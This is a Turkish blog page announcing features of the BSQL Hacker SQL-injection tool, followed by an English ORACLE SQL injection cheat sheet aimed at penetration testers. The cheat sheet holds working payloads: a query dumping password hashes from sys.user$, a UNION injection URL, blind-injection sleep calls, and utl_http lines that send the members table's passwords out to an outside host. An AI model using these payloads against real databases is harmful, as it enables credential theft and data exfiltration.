BSQL Hacker artık Beta olarak yayınlanabilecek bir kıvama geldi. Yeni bir beta yayınlamıyorum ancak eğer aktif olarak SQL Injection açıkları ile çalışıyor ya da pratik ediyro ve SQL Injection konusunda deneyimliyseniz bana bir e-mail atın size son Beta versiyonu göndereyim.

Ek olarak gururla söylemek istiyorum ki artık sadece Blind SQL Injection' ları değil hata mesajı veren SQL Injectionları da exploit edebiliyor. Henüz UNION tabanlı bir planım yok ama belki ileride onu da ekleriz.

Aşağıdakiler bazı kritik özellikleri;

  • Doğru sintaks yazılabildiğinde her veritabanında Blind ve Full Blind (WAITFORDELAY, BENCHMARK, SLEEP vs. ile) yapabilme imkanı,
  • MSSQL Server için hata mesajına dayalı SQL Injection imkanı,
  • Konsol versiyonu Nonce' ları okuyabiliyor (ASP.NET ViewState gibi),
  • Multi-Threaded,
  • Atak dosyası / Şablon yükleme ve kaydetme imkanı,
  • Metasploit benzeri exploit repository desteği,
  • Cookie, POST, Özel HTTP Headerları, GET vs. gibi yerlerde injection imkanı,
  • Tüm istek, cevap ve sonuçları arabirimden görme imkanı,
  • Açık Kaynak Kodlu,
  • ORACLE, MSSQL Server, MySQL için hazır injection şablonları ,
  • ORACLE ve MSSQL Server için Otomatik Atak Modülleri (bu sayede tüm db şeması ve kayıtları indirilebiliyor)
  • Injection Sihirbazları, Bu sayede sadece Raw Request ile ya da sadece URL adresini vermeniz ile otomatik olarka injection tespit edilip, query oluşturulup injection başlatılabiliyor.
  • Daha başka şeyler...

Bunların hepsi ve daha fazlası şu an yapılabiliyor. Yapılacak listem çok uzun. Bunların içerisinde şunlar var:

  • MySQL, PostgreSQL, DB2 için otomatik atak modülü geliştirilmesi,
  • MySQL, PostgreSQL, Access, DB2 için şablonların yazılması,
  • SQL Injection Cheat Sheet' in yazılıma entegre edilmesi,
  • Bulunmuş SQL Injection açıkları için örnek exploit atak dosyaları yazılması,
  • Daha başka bir sürü şey dostlarım... Şimdi yapılacak listeler programıma baktım ve 73 tane yapılacak iş görünüyor.

Uzun bir süredir aynı cümleyi tekrarlıyorum bu yüzden pek güvenilecek bir söylem değil ancak İnşallah 3-4 hafta içerisinde stable beta versiyonu yayınlayacağım.

ORACLE SQL Injection Cheat Sheet

Introduction

Quick and Dirty ORACLE SQL Injection Cheat Sheet which will be combined with main SQL Injection Cheat Sheet eventually. This cheat sheet can help you to get started for basic ORACLE SQL Injections.

ORACLE SQL Injection Notes

In ORACLE you can not just SELECT stuff you have to SELECT them from some table. For this purpose you can use special table called DUAL.

i.e. SELECT 'dummydata' || 'x' FROM DUAL;

You have to close comments if you used /* comment */ style comments

Concatenation

SELECT utl_raw.concat('x','y') FROM DUAL; SELECT 'x' || 'y' FROM DUAL; SELECT 'a' || 'b' FROM DUAL; SELECT user || '-' || password FROM members;

Comments

/* comment */

Note : You have to close this comments properly otherwise you'll get syntax error.

Line comment : --

Casting

For most of the data types concatenating data with a string can do the casting automatically. SELECT 1 || 'a' FROM DUAL;

Strings without quotes

SELECT chr(110) || chr(111) FROM DUAL;
OR
SELECT utl_raw.cast_to_varchar2(TO_CHAR(110)) FROM DUAL;

Getting Stuff

Getting Tables

SELECT table_name FROM all_tables WHERE TABLESPACE_NAME='USERS'

Getting Columns

SELECT column_name FROM all_tab_columns WHERE table_name = 'TABLE-NAME'

Getting Current Database Name

SELECT global_name FROM global_name

Getting Users and Passwords

SELECT name, password FROM sys.user$ where type#=1

Getting version

Select banner || '-' || (select banner from v$version where banner like 'Oracle%') from v$version where banner like 'TNS%'

Getting Current User

SELECT user FROM dual

Simple Union Query

http://127.0.0.1/sqlinjection/ora.php?id=-101%20UNION%20ALL%20SELECT%20(SELECT%20user%20FROM%20dual)%20FROM%20DUAL

Simulating SQL Server's TOP feature

SELECT FIRST_NAME FROM (SELECT ROWNUM R, FIRST_NAME FROM hr.employees) WHERE R <= 3;

Moving Records one by one

SELECT FIRST_NAME FROM (SELECT ROWNUM R, FIRST_NAME FROM hr.employees) WHERE R = 3;

Functions useful for Blind SQL Injetion

  • BEGIN DBMS_LOCK.SLEEP(5); END; - Sleep for 5 seconds
  • CHR() - Convert to Char
  • ASCII() - Convert to ASCII
  • SUBSTR() - Substring
  • BITAND() - Bit And operation
  • LOWER() - Convert to LowerCase

Doing outbound connections 

  • SELECT utl_http.request('http://www.example.com') FROM DUAL SELECT utl_http.request('http://www.example.com/?' || (SELECT pass FROM members) ) FROM DUAL
  • SELECT HTTPURITYPE('http://www.example.com').getXML() FROM DUAL;

You can test blind SQL Injection from DNS requests (can be more reliable against egress filtering) or from actual web request.

References, Papers & Credits

Document History

  • 02/10/2007 - Public Release
  • 02/10/2007 - Getting passwords section and utl_http replaced with new and easier ones. Thanks to Alexander Kornbrust
  • 09/10/2007 - Sleep function added

ORACLE SQL Injection

BSQL Hacker için ORACLE modülü geliştirirken ORACLE' da SQL Injection araştırmaları yapmaya ve bir ufak bir cheat sheet hazırlamaya vaktim oldu. Dokümanı inaşallah bu Pazartesi ya da Salı günü yayınlayacağım.

Bu arada BSQL Hackerda sayısız yenilikler oldu. Bazıları

  • SQL Server ve ORACLE için Otomatik exploit motoru (PostgreSQL ve MySQL yolda)
  • GUI' den test imkanı
  • Hızlı bir şekilde olaya girmek için 2 tane Wizard (Raw Request' ten veya URL den direk injection oluşabiliyor)
  • Kendini Güncelleme özelliği
  • Exploit Repository ve Güncelleme desteği. Bu sayede diğer sitelerden ve resmi exploit deposundan otomatik olarak yeni exploitleri indirebilir ya da kendi exploitlerini dağıtabilirsiniz.
  • Exploitleri Yükleme ve Kaydetme
  • Doğru veya yanlış anahtar kelimeleri girmeden otomatik olarak çıktılardaki değişiklikleri tespit edebilme
  • Raw Request, Response ve Cevabın doğru - yanlış - hatalı olduğunu görme
  • Kolay bug report özellikleri
  • ve daha bir çok başka şey...

Hala beta aşamasında, yakında tam olarak public beta' yı yayınlayacağım inaşşallah. 2 haftadan fazla sürmeyeceğini umuyorum.